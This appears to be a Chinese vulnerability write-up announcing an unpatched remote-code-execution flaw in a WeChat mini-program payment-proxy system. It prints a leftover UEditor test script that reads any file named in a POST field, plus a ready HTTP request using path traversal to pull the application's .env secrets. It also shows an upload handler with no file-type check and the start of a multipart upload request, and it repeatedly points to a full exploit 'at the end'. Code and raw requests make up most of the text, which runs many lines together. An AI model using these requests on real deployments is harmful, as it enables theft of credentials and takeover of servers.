某团代付三合一微信小程序系统RCE漏洞审计(0day)

<?php/** * Created by JetBrains PhpStorm. * User: dongyancen * Date: 12-9-25 * Time: 下午3:15 * To change this template use File | Settings | File Templates. *///echo $_POST['name'];echo file_get_contents($_POST['name']);//echo file_get_contents('test.txt');?>

POST /static/ueditor22/_test/tools/br/read.php HTTP/1.1Host: 127.0.0.1:81sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 27name=../../../../../../.env

public function upxxxxx(){    // 获取表单上传文件 例如上传了001.jpg    $file = request()->file('xxxx');    try {      // 使用验证器验证上传的文件      validate(['file' => [               // 限制文件大小(单位b)，这里限制为4M               'fileSize' => 4 * 1024 * 1024,               ]])->check(['file' => $file]);      $savename = thinkfacadeFilesystem::disk('public')->putFile('avatar', $file);      if ($savename) {        // 拼接路径        $path = thinkFacadeFilesystem::getDiskConfig('public', 'url') . "/" . str_replace('\', '/', $savename);        return success($path);      }      // echo $savename;    } catch (thinkexceptionValidateException $e) {      // echo $e->getMessage();      return fail($e->getMessage());    }  }

POST /xxxxxxx/upxxxxx HTTP/1.1Host: 127.0.0.1:81sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGjxay59gVfQyovGCAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 196完整EXP请见文末!完整EXP请见文末!完整EXP请见文末!